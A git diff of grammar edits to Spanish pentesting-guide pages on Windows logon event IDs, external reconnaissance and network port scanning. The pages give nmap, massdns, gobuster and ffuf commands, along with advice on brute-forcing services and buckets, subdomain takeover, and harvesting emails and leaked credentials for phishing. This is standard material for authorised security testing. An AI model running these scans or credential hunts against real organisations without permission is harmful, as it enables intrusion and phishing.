@@ -411,26 +410,26 @@ Los eventos de acceso se registran en el archivo de configuración de seguridad
- **EventIDs 4634/4647**: Representan eventos de cierre de sesión de usuarios.
- **EventID 4672**: Denota inicio de sesión con privilegios administrativos.
-#### Subtipos dentro de EventID 4634/4647:
+#### Subtipos dentro del EventID 4634/4647:
- **Interactivo (2)**: Inicio de sesión directo del usuario.
- **Red (3)**: Acceso a carpetas compartidas.
- **Lote (4)**: Ejecución de procesos por lotes.
- **Servicio (5)**: Lanzamientos de servicios.
- **Proxy (6)**: Autenticación proxy.
-- **Desbloquear (7)**: Pantalla desbloqueada con una contraseña.
+- **Desbloqueo (7)**: Pantalla desbloqueada con una contraseña.
- **Texto claro de red (8)**: Transmisión de contraseña en texto claro, a menudo desde IIS.
- **Nuevas credenciales (9)**: Uso de diferentes credenciales para el acceso.
-- **Interactivo remoto (10)**: Inicio de sesión en escritorio remoto o servicios de terminal.
+- **Interactivo remoto (10)**: Inicio de sesión en servicios de escritorio remoto o terminal.
- **Interactivo en caché (11)**: Inicio de sesión con credenciales en caché sin contacto con el controlador de dominio.
- **Interactivo remoto en caché (12)**: Inicio de sesión remoto con credenciales en caché.
- **Desbloqueo en caché (13)**: Desbloqueo con credenciales en caché.
-#### Códigos de estado y subestado para EventID 4625:
+#### Códigos de estado y subestado para el EventID 4625:
- **0xC0000064**: El nombre de usuario no existe - Podría indicar un ataque de enumeración de nombres de usuario.
- **0xC000006A**: Nombre de usuario correcto pero contraseña incorrecta - Posible intento de adivinanza de contraseña o fuerza bruta.
-- **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulte en múltiples inicios de sesión fallidos.
+- **0xC0000234**: Cuenta de usuario bloqueada - Puede seguir a un ataque de fuerza bruta que resulta en múltiples inicios de sesión fallidos.
- **0xC0000072**: Cuenta deshabilitada - Intentos no autorizados de acceder a cuentas deshabilitadas.
- **0xC000006F**: Inicio de sesión fuera del tiempo permitido - Indica intentos de acceso fuera de las horas de inicio de sesión establecidas, un posible signo de acceso no autorizado.
- **0xC0000070**: Violación de restricciones de estación de trabajo - Podría ser un intento de inicio de sesión desde una ubicación no autorizada.
@@ -447,7 +446,7 @@ Los eventos de acceso se registran en el archivo de configuración de seguridad
#### EventID 6005 y 6006:
-- **Inicio y apagado del sistema**: EventID 6005 indica que el sistema se está iniciando, mientras que EventID 6006 marca su apagado.
+- **Inicio y apagado del sistema**: El EventID 6005 indica que el sistema se está iniciando, mientras que el EventID 6006 marca su apagado.
#### EventID 1102:
@@ -461,7 +460,7 @@ Los eventos de acceso se registran en el archivo de configuración de seguridad
Para ejemplos prácticos sobre cómo simular estos tipos de inicio de sesión y oportunidades de volcado de credenciales, consulta la [guía detallada de Altered Security](https://www.alteredsecurity.com/post/fantastic-windows-logon-types-and-where-to-find-credentials-in-them).
-Los detalles del evento, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas del evento, particularmente notables en el Event ID 4625.
+Los detalles de los eventos, incluidos los códigos de estado y subestado, proporcionan más información sobre las causas de los eventos, particularmente notables en el Event ID 4625.
### Recuperando eventos de Windows
@@ -481,11 +480,11 @@ Registrado por EventID 4616, los cambios en la hora del sistema pueden complicar
#### Seguimiento de dispositivos USB
-IDs de eventos del sistema útiles para el seguimiento de dispositivos USB incluyen 20001/20003/10000 para el uso inicial, 10100 para actualizaciones de controladores y EventID 112 de DeviceSetupManager para marcas de tiempo de inserción.
+Los System EventIDs útiles para el seguimiento de dispositivos USB incluyen 20001/20003/10000 para el uso inicial, 10100 para actualizaciones de controladores y EventID 112 de DeviceSetupManager para marcas de tiempo de inserción.
#### Eventos de energía del sistema
-EventID 6005 indica el inicio del sistema, mientras que EventID 6006 marca el apagado.
+El EventID 6005 indica el inicio del sistema, mientras que el EventID 6006 marca el apagado.
#### Eliminación de registros
diff --git a/src/generic-methodologies-and-resources/external-recon-methodology/README.md b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
index 0fcdbafa7..f7dbd7439 100644
--- a/src/generic-methodologies-and-resources/external-recon-methodology/README.md
+++ b/src/generic-methodologies-and-resources/external-recon-methodology/README.md
@@ -4,7 +4,7 @@
## Descubrimiento de Activos
-> Se te ha dicho que todo lo que pertenece a una empresa está dentro del alcance, y quieres averiguar qué posee realmente esta empresa.
+> Se te ha dicho que todo lo que pertenece a alguna empresa está dentro del alcance, y quieres averiguar qué posee realmente esta empresa.
El objetivo de esta fase es obtener todas las **empresas propiedad de la empresa principal** y luego todos los **activos** de estas empresas. Para hacerlo, vamos a:
@@ -26,7 +26,7 @@ Otra opción es visitar la página de **Wikipedia** de la empresa principal y bu
Un número de sistema autónomo (**ASN**) es un **número único** asignado a un **sistema autónomo** (AS) por la **Autoridad de Números Asignados de Internet (IANA)**.\
Un **AS** consiste en **bloques** de **direcciones IP** que tienen una política definida para acceder a redes externas y son administrados por una sola organización, pero pueden estar compuestos por varios operadores.
-Es interesante averiguar si la **empresa tiene asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\
+Es interesante averiguar si la **empresa ha asignado algún ASN** para encontrar sus **rangos de IP.** Será interesante realizar una **prueba de vulnerabilidad** contra todos los **hosts** dentro del **alcance** y **buscar dominios** dentro de estas IPs.\
Puedes **buscar** por el **nombre** de la empresa, por **IP** o por **dominio** en [**https://bgp.he.net/**](https://bgp.he.net)**.**\
**Dependiendo de la región de la empresa, estos enlaces podrían ser útiles para recopilar más datos:** [**AFRINIC**](https://www.afrinic.net) **(África),** [**Arin**](https://www.arin.net/about/welcome/region/)**(América del Norte),** [**APNIC**](https://www.apnic.net) **(Asia),** [**LACNIC**](https://www.lacnic.net) **(América Latina),** [**RIPE NCC**](https://www.ripe.net) **(Europa). De todos modos, probablemente toda la** información útil **(rangos de IP y Whois)** ya aparezca en el primer enlace.
```bash
@@ -58,7 +58,7 @@ Puedes encontrar la IP y ASN de un dominio usando [http://ipv4info.com/](http://
En este punto conocemos **todos los activos dentro del alcance**, así que si tienes permiso podrías lanzar algún **escáner de vulnerabilidades** (Nessus, OpenVAS) sobre todos los hosts.\
Además, podrías lanzar algunos [**escaneos de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) **o usar servicios como** shodan **para encontrar** puertos abiertos **y dependiendo de lo que encuentres deberías** consultar este libro sobre cómo hacer pentesting a varios servicios posibles en ejecución.\
-**Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto y tratar de** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
+**Además, podría valer la pena mencionar que también puedes preparar algunas** listas de nombres de usuario **y** contraseñas **por defecto e intentar** forzar servicios con [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray).
## Dominios
@@ -82,7 +82,7 @@ También puedes usar una herramienta en línea para esta información: [http://p
### **Reverse Whois (loop)**
-Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas inversas de whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\
+Dentro de un **whois** puedes encontrar mucha **información** interesante como **nombre de la organización**, **dirección**, **correos electrónicos**, números de teléfono... Pero lo que es aún más interesante es que puedes encontrar **más activos relacionados con la empresa** si realizas **búsquedas de reverse whois por cualquiera de esos campos** (por ejemplo, otros registros whois donde aparece el mismo correo electrónico).\
Puedes usar herramientas en línea como:
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Gratis**
@@ -90,10 +90,10 @@ Puedes usar herramientas en línea como:
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Gratis**
- [https://www.whoxy.com/](https://www.whoxy.com) - **Gratis** web, no gratis API.
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - No gratis
-- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 gratis** búsquedas)
+- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - No Gratis (solo **100 búsquedas gratis**)
- [https://www.domainiq.com/](https://www.domainiq.com) - No Gratis
-Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink)(requiere una clave API de whoxy).\
+Puedes automatizar esta tarea usando [**DomLink** ](https://github.com/vysecurity/DomLink) (requiere una clave API de whoxy).\
También puedes realizar un descubrimiento automático de reverse whois con [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois`
**Ten en cuenta que puedes usar esta técnica para descubrir más nombres de dominio cada vez que encuentres un nuevo dominio.**
@@ -113,7 +113,7 @@ Hay algunas páginas y herramientas que te permiten buscar por estos trackers y
### **Favicon**
-¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que hace la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) creada por [@m4ll0k2](https://twitter.com/m4ll0k2). Aquí te explicamos cómo usarla:
+¿Sabías que podemos encontrar dominios y subdominios relacionados con nuestro objetivo buscando el mismo hash de icono de favicon? Esto es exactamente lo que la herramienta [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) hecha por [@m4ll0k2](https://twitter.com/m4ll0k2) hace. Aquí te explicamos cómo usarla:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@@ -151,7 +151,7 @@ Es común tener un trabajo cron como
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
para renovar todos los certificados de dominio en el servidor. Esto significa que incluso si la CA utilizada para esto no establece la hora en que se generó en el tiempo de validez, es posible **encontrar dominios que pertenecen a la misma empresa en los registros de transparencia de certificados**.\
-Consulta este [**artículo para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
+Consulta este [**escrito para más información**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/).
### Información de Mail DMARC
@@ -159,7 +159,7 @@ Puedes usar un sitio web como [https://dmarc.live/info/google.com](https://dmarc
### **Toma Pasiva**
-Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en la nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**.
+Aparentemente es común que las personas asignen subdominios a IPs que pertenecen a proveedores de nube y en algún momento **pierdan esa dirección IP pero se olviden de eliminar el registro DNS**. Por lo tanto, simplemente **creando una VM** en una nube (como Digital Ocean) estarás **tomando el control de algunos subdominios**.
[**Esta publicación**](https://kmsec.uk/blog/passive-takeover/) explica una historia al respecto y propone un script que **crea una VM en DigitalOcean**, **obtiene** la **IPv4** de la nueva máquina y **busca en Virustotal registros de subdominio** que apunten a ella.
@@ -175,14 +175,14 @@ Podrías acceder al **certificado TLS** de la página web principal, obtener el
**Assetfinder**
-[**Assetfinder** ](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante impresionante.
+[**Assetfinder**](https://github.com/tomnomnom/assetfinder) es una herramienta que busca **dominios relacionados** con un dominio principal y **subdominios** de ellos, bastante impresionante.
### **Buscando vulnerabilidades**
-Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando algún dominio** pero **perdió la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
+Verifica algún [toma de dominio](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Quizás alguna empresa esté **usando algún dominio** pero **haya perdido la propiedad**. Simplemente regístralo (si es lo suficientemente barato) y avísale a la empresa.
-Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
-_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no es controlada por el cliente, así que no está en el alcance, ten cuidado._
+Si encuentras algún **dominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en funcionamiento, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
+_Ten en cuenta que a veces el dominio está alojado dentro de una IP que no está controlada por el cliente, por lo que no está en el alcance, ten cuidado._
## Subdominios
@@ -195,7 +195,7 @@ Es hora de encontrar todos los posibles subdominios de cada dominio encontrado.
### **DNS**
-Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar una **Transferencia de Zona** (Si es vulnerable, deberías reportarlo).
+Intentemos obtener **subdominios** de los registros **DNS**. También deberíamos intentar una **Transferencia de Zona** (Si es vulnerable, deberías informarlo).
```bash
dnsrecon -a -d tesla.com
```
@@ -282,7 +282,7 @@ curl -s "https://crt.sh/?q=%25.$1" \
}
crt tesla.com
```
-- [**gau**](https://github.com/lc/gau)**:** recupera URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
+- [**gau**](https://github.com/lc/gau)**:** obtiene URLs conocidas de Open Threat Exchange de AlienVault, la Wayback Machine y Common Crawl para cualquier dominio dado.
```bash
# Get subdomains from GAUs found URLs
gau --subs tesla.com | cut -d "/" -f 3 | sort -u
@@ -341,7 +341,7 @@ sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt
./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt
grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt
```
-- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo usa 1 resolvedor
+- [**gobuster**](https://github.com/OJ/gobuster): Este creo que solo utiliza 1 resolvedor
```
gobuster dns -d mysite.com -t 50 -w subdomains.txt
```
@@ -389,7 +389,7 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### Generación de permutaciones inteligentes
-- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente obtendrá las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios.
+- [**regulator**](https://github.com/cramppet/regulator): Para más información, lee este [**post**](https://cramppet.github.io/regulator/index.html), pero básicamente tomará las **partes principales** de los **subdominios descubiertos** y las mezclará para encontrar más subdominios.
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
@@ -399,7 +399,7 @@ puredns resolve adobe.brute --write adobe.valid
```
echo www | subzuf facebook.com
```
-### **Flujo de Trabajo de Descubrimiento de Subdominios**
+### **Flujo de Trabajo para el Descubrimiento de Subdominios**
Revisa esta publicación de blog que escribí sobre cómo **automatizar el descubrimiento de subdominios** de un dominio utilizando **Trickest workflows** para no tener que lanzar manualmente un montón de herramientas en mi computadora:
@@ -435,10 +435,10 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
#https://github.com/codingo/VHostScan
VHostScan -t example.com
```
-> [!NOTE]
+> [!TIP]
> Con esta técnica, incluso podrías acceder a endpoints internos/ocultos.
-### **CORS Fuerza Bruta**
+### **CORS Brute Force**
A veces encontrarás páginas que solo devuelven el encabezado _**Access-Control-Allow-Origin**_ cuando se establece un dominio/subdominio válido en el encabezado _**Origin**_. En estos escenarios, puedes abusar de este comportamiento para **descubrir** nuevos **subdominios**.
```bash
@@ -446,8 +446,8 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
```
### **Fuerza Bruta de Buckets**
-Mientras buscas **subdominios**, presta atención para ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
-Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta de posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html).
+Mientras buscas **subdominios**, presta atención a ver si está **apuntando** a algún tipo de **bucket**, y en ese caso [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html)**.**\
+Además, como en este punto conocerás todos los dominios dentro del alcance, intenta [**fuerza bruta posibles nombres de buckets y verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html).
### **Monitorización**
@@ -455,18 +455,18 @@ Puedes **monitorear** si se crean **nuevos subdominios** de un dominio monitorea
### **Buscando vulnerabilidades**
-Verifica posibles [**tomas de control de subdominios**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
+Verifica posibles [**tomas de subdominio**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover).\
Si el **subdominio** está apuntando a algún **bucket S3**, [**verifica los permisos**](../../network-services-pentesting/pentesting-web/buckets/index.html).
-Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén en ejecución, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
-_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no está controlada por el cliente, por lo que no está en el alcance, ten cuidado._
+Si encuentras algún **subdominio con una IP diferente** de las que ya encontraste en el descubrimiento de activos, deberías realizar un **escaneo básico de vulnerabilidades** (usando Nessus u OpenVAS) y algún [**escaneo de puertos**](../pentesting-network/index.html#discovering-hosts-from-the-outside) con **nmap/masscan/shodan**. Dependiendo de qué servicios estén corriendo, puedes encontrar en **este libro algunos trucos para "atacarlos"**.\
+_Ten en cuenta que a veces el subdominio está alojado dentro de una IP que no es controlada por el cliente, por lo que no está en el alcance, ten cuidado._
## IPs
En los pasos iniciales podrías haber **encontrado algunos rangos de IP, dominios y subdominios**.\
Es hora de **recolectar todas las IPs de esos rangos** y para los **dominios/subdominios (consultas DNS).**
-Usando servicios de las siguientes **apis gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
+Usando servicios de las siguientes **APIs gratuitas** también puedes encontrar **IPs anteriores utilizadas por dominios y subdominios**. Estas IPs podrían seguir siendo propiedad del cliente (y podrían permitirte encontrar [**bypass de CloudFlare**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
- [**https://securitytrails.com/**](https://securitytrails.com/)
@@ -487,7 +487,7 @@ En los pasos anteriores probablemente ya hayas realizado algún **reconocimiento
Por favor, ten en cuenta que esto estará **orientado a la descubrimiento de aplicaciones web**, por lo que deberías **realizar el escaneo de vulnerabilidades** y **escaneo de puertos** también (**si está permitido** por el alcance).
Un **método rápido** para descubrir **puertos abiertos** relacionados con **servidores** web usando [**masscan** se puede encontrar aquí](../pentesting-network/index.html#http-port-discovery).\
-Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y intentará conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
+Otra herramienta amigable para buscar servidores web es [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) y [**httpx**](https://github.com/projectdiscovery/httpx). Solo pasas una lista de dominios y tratará de conectarse al puerto 80 (http) y 443 (https). Además, puedes indicar que intente otros puertos:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
@@ -502,7 +502,7 @@ Además, podrías usar [**eyeballer**](https://github.com/BishopFox/eyeballer) p
## Activos de Nube Pública
-Para encontrar activos potenciales en la nube que pertenezcan a una empresa, debes **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "", <"subdomain_names">`.
+Para encontrar activos en la nube potenciales que pertenecen a una empresa, deberías **comenzar con una lista de palabras clave que identifiquen a esa empresa**. Por ejemplo, para una empresa de criptomonedas podrías usar palabras como: `"crypto", "wallet", "dao", "", <"subdomain_names">`.
También necesitarás listas de palabras de **palabras comunes utilizadas en buckets**:
@@ -514,11 +514,11 @@ Luego, con esas palabras deberías generar **permutaciones** (consulta el [**Seg
Con las listas de palabras resultantes podrías usar herramientas como [**cloud_enum**](https://github.com/initstring/cloud_enum)**,** [**CloudScraper**](https://github.com/jordanpotti/CloudScraper)**,** [**cloudlist**](https://github.com/projectdiscovery/cloudlist) **o** [**S3Scanner**](https://github.com/sa7mon/S3Scanner)**.**
-Recuerda que al buscar Activos en la Nube debes **buscar más que solo buckets en AWS**.
+Recuerda que al buscar Activos en la Nube deberías **buscar más que solo buckets en AWS**.
### **Buscando vulnerabilidades**
-Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** debes **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
+Si encuentras cosas como **buckets abiertos o funciones de nube expuestas** deberías **acceder a ellas** y tratar de ver qué te ofrecen y si puedes abusar de ellas.
## Correos Electrónicos
@@ -531,26 +531,26 @@ Con los **dominios** y **subdominios** dentro del alcance, básicamente tienes t
### **Buscando vulnerabilidades**
-Los correos electrónicos serán útiles más tarde para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
+Los correos electrónicos serán útiles más adelante para **fuerza bruta en inicios de sesión web y servicios de autenticación** (como SSH). Además, son necesarios para **phishings**. Además, estas APIs te darán aún más **información sobre la persona** detrás del correo electrónico, lo cual es útil para la campaña de phishing.
## Filtraciones de Credenciales
-Con los **dominios,** **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado que pertenezcan a esos correos electrónicos:
+Con los **dominios,** **subdominios** y **correos electrónicos** puedes comenzar a buscar credenciales filtradas en el pasado pertenecientes a esos correos electrónicos:
- [https://leak-lookup.com](https://leak-lookup.com/account/login)
- [https://www.dehashed.com/](https://www.dehashed.com/)
### **Buscando vulnerabilidades**
-Si encuentras credenciales **filtradas válidas**, esto es una victoria muy fácil.
+Si encuentras credenciales **filtradas válidas**, esta es una victoria muy fácil.
## Filtraciones de Secretos
-Las filtraciones de credenciales están relacionadas con hacks de empresas donde **información sensible fue filtrada y vendida**. Sin embargo, las empresas pueden verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos:
+Las filtraciones de credenciales están relacionadas con hacks de empresas donde **información sensible fue filtrada y vendida**. Sin embargo, las empresas podrían verse afectadas por **otras filtraciones** cuya información no está en esas bases de datos:
### Filtraciones de Github
-Las credenciales y APIs pueden haber sido filtradas en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\
+Las credenciales y APIs podrían estar filtradas en los **repositorios públicos** de la **empresa** o de los **usuarios** que trabajan para esa empresa de github.\
Puedes usar la **herramienta** [**Leakos**](https://github.com/carlospolop/Leakos) para **descargar** todos los **repos públicos** de una **organización** y de sus **desarrolladores** y ejecutar [**gitleaks**](https://github.com/zricethezav/gitleaks) sobre ellos automáticamente.
**Leakos** también puede ser utilizado para ejecutar **gitleaks** contra todo el **texto** proporcionado **URLs pasadas** a él, ya que a veces **las páginas web también contienen secretos**.
@@ -565,7 +565,7 @@ github-leaked-secrets.md
### Filtraciones de Pastas
-A veces, atacantes o simplemente trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto puede o no contener **información sensible**, pero es muy interesante buscarlo.\
+A veces, atacantes o simplemente trabajadores **publicarán contenido de la empresa en un sitio de paste**. Esto podría o no contener **información sensible**, pero es muy interesante buscarlo.\
Puedes usar la herramienta [**Pastos**](https://github.com/carlospolop/Pastos) para buscar en más de 80 sitios de paste al mismo tiempo.
### Dorks de Google
@@ -576,7 +576,7 @@ _Ten en cuenta que las herramientas que esperan ejecutar toda la base de datos u
### **Buscando vulnerabilidades**
-Si encuentras credenciales o tokens de API **filtrados válidos**, esto es una victoria muy fácil.
+Si encuentras credenciales **filtradas válidas** o tokens de API, esta es una victoria muy fácil.
## Vulnerabilidades de Código Público
@@ -596,7 +596,7 @@ También hay servicios gratuitos que te permiten **escanear repositorios públic
La **mayoría de las vulnerabilidades** encontradas por cazadores de bugs residen dentro de **aplicaciones web**, así que en este punto me gustaría hablar sobre una **metodología de pruebas de aplicaciones web**, y puedes [**encontrar esta información aquí**](../../network-services-pentesting/pentesting-web/index.html).
-También quiero hacer una mención especial a la sección [**Herramientas de escaneo automático de código abierto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), ya que, si no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.**
+También quiero hacer una mención especial a la sección [**Herramientas de Escaneo Automático de Web de código abierto**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), ya que, si no deberías esperar que encuentren vulnerabilidades muy sensibles, son útiles para implementarlas en **flujos de trabajo para tener alguna información web inicial.**
## Recapitulación
@@ -605,18 +605,18 @@ También quiero hacer una mención especial a la sección [**Herramientas de esc
Así que ya has:
1. Encontrado todas las **empresas** dentro del alcance
-2. Encontrado todos los **activos** que pertenecen a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
-3. Encontrado todos los **dominios** que pertenecen a las empresas
+2. Encontrado todos los **activos** pertenecientes a las empresas (y realizado algún escaneo de vulnerabilidades si está en el alcance)
+3. Encontrado todos los **dominios** pertenecientes a las empresas
4. Encontrado todos los **subdominios** de los dominios (¿alguna toma de subdominio?)
5. Encontrado todas las **IPs** (de y **no de CDNs**) dentro del alcance.
6. Encontrado todos los **servidores web** y tomado una **captura de pantalla** de ellos (¿algo extraño que valga la pena investigar más a fondo?)
-7. Encontrado todos los **activos potenciales de nube pública** que pertenecen a la empresa.
-8. **Correos electrónicos**, **filtraciones de credenciales** y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
+7. Encontrado todos los **activos potenciales de nube pública** pertenecientes a la empresa.
+8. **Correos electrónicos**, **filtraciones de credenciales**, y **filtraciones de secretos** que podrían darte una **gran victoria muy fácilmente**.
9. **Pentesting todas las webs que encontraste**
## **Herramientas Automáticas de Reconocimiento Completo**
-Hay varias herramientas disponibles que realizarán parte de las acciones propuestas contra un alcance dado.
+Hay varias herramientas que realizarán parte de las acciones propuestas contra un alcance dado.
- [**https://github.com/yogeshojha/rengine**](https://github.com/yogeshojha/rengine)
- [**https://github.com/j3ssie/Osmedeus**](https://github.com/j3ssie/Osmedeus)
diff --git a/src/generic-methodologies-and-resources/pentesting-network/README.md b/src/generic-methodologies-and-resources/pentesting-network/README.md
index 4c4af5c02..e5838126e 100644
--- a/src/generic-methodologies-and-resources/pentesting-network/README.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/README.md
@@ -45,7 +45,7 @@ nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
```
La línea de nmap propuesta anteriormente probará los **1000 puertos UDP principales** en cada host dentro del rango **/24**, pero incluso solo esto tomará **>20min**. Si necesitas **resultados más rápidos**, puedes usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24`. Esto enviará estas **probes UDP** a su **puerto esperado** (para un rango /24 esto solo tomará 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
-### Descubrimiento de Puertos SCTP
+### Descubrimiento de puertos SCTP
```bash
#Probably useless, but it's pretty fast, why not try it?
nmap -T4 -sY -n --open -Pn
@@ -109,7 +109,7 @@ Pero, como estás en la **misma red** que los otros hosts, puedes hacer **más c
Wake On Lan se utiliza para **encender** computadoras a través de un **mensaje de red**. El paquete mágico utilizado para encender la computadora es solo un paquete donde se proporciona un **MAC Dst** y luego se **repite 16 veces** dentro del mismo paquete.\
Luego, este tipo de paquetes generalmente se envían en un **ethernet 0x0842** o en un **paquete UDP al puerto 9**.\
-Si **no se proporciona \[MAC]**, el paquete se envía a **difusión ethernet** (y el MAC de difusión será el que se repita).
+Si **no se proporciona \[MAC]**, el paquete se envía a **difusión ethernet** (y el MAC de difusión será el que se repite).
```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
@@ -155,7 +155,7 @@ nmap -sU -sV -sC -n -F -T4
nmap -sU -sV --version-intensity 0 -n -T4
# You could use nmap to test all the UDP ports, but that will take a lot of time
```
-### SCTP Scan
+### Escaneo SCTP
